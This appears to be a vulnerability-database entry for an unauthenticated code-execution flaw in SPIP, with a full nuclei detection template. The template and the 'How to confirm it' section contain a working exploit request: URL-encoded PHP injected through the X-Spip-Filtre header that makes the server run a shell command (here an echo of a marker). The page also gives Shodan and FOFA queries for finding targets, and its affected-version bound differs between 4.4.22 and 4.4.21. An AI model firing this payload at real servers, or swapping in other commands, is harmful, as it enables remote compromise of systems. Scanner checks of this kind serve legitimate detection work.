Browse / CVEs / CVE-2026-77806
CVE-2026-77806· CWE-94
SPIP < 4.4.22 - Unauthenticated RCE
criticalseverity
9.8CVSS score
4.5%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it
SPIP < 4.4.21 contains a remote code execution caused by mishandling of the X-Spip-Filtre HTTP request header in analyse_resultat_skel, letting unauthenticated remote attackers execute arbitrary code.
Impact
Unauthenticated remote attackers can execute arbitrary code, potentially leading to full system compromise.
Fix
Update to version 4.4.21 or later.
How to confirm it
Send: GET /spip.php
Positive when: status_code == 200 and contains_any(tolower(body), "spip.php", "spip_document", "spip_logo")
Send: POST /spip.php?page=sommaire&{{rand_text_alpha(8)}}=%3C%3Fphp%20header(%22X-Spip-Filtre:%20intval|_request|system%22);%20%3F%3E
Positive when: status_code == 200 and contains(body, "{{marker}}")Run it with nuclei: nuclei -id CVE-2026-77806 -u <target>
The full check
id: CVE-2026-77806
info:
name: SPIP < 4.4.22 - Unauthenticated RCE
author: 0x_Akoko
severity: critical
description: |
SPIP < 4.4.21 contains a remote code execution caused by mishandling of the X-Spip-Filtre HTTP request header in analyse_resultat_skel, letting unauthenticated remote attackers execute arbitrary code.
impact: |
Unauthenticated remote attackers can execute arbitrary code, potentially leading to full system compromise.
remediation: |
Update to version 4.4.21 or later.
reference:
- https://securityonline.info/cve-2026-77806-spip-unauthenticated-rce/
- https://blog.spip.net/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-77806
epss-score: 0.04479
epss-percentile: 0.91541
cwe-id: CWE-94
metadata:
max-request: 1
verified: true
shodan-query: http.component:"SPIP"
fofa-query: body="spip.php"
tags: cve,cve2026,spip,rce,unauth,vkev
variables:
marker: "{{rand_text_alphanumeric(8)}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET /spip.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_any(tolower(body), "spip.php", "spip_document", "spip_logo")'
condition: and
internal: true
- raw:
- |
POST /spip.php?page=sommaire&{{rand_text_alpha(8)}}=%3C%3Fphp%20header(%22X-Spip-Filtre:%20intval|_request|system%22);%20%3F%3E HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
0=echo {{marker}}
redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "{{marker}}")'
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from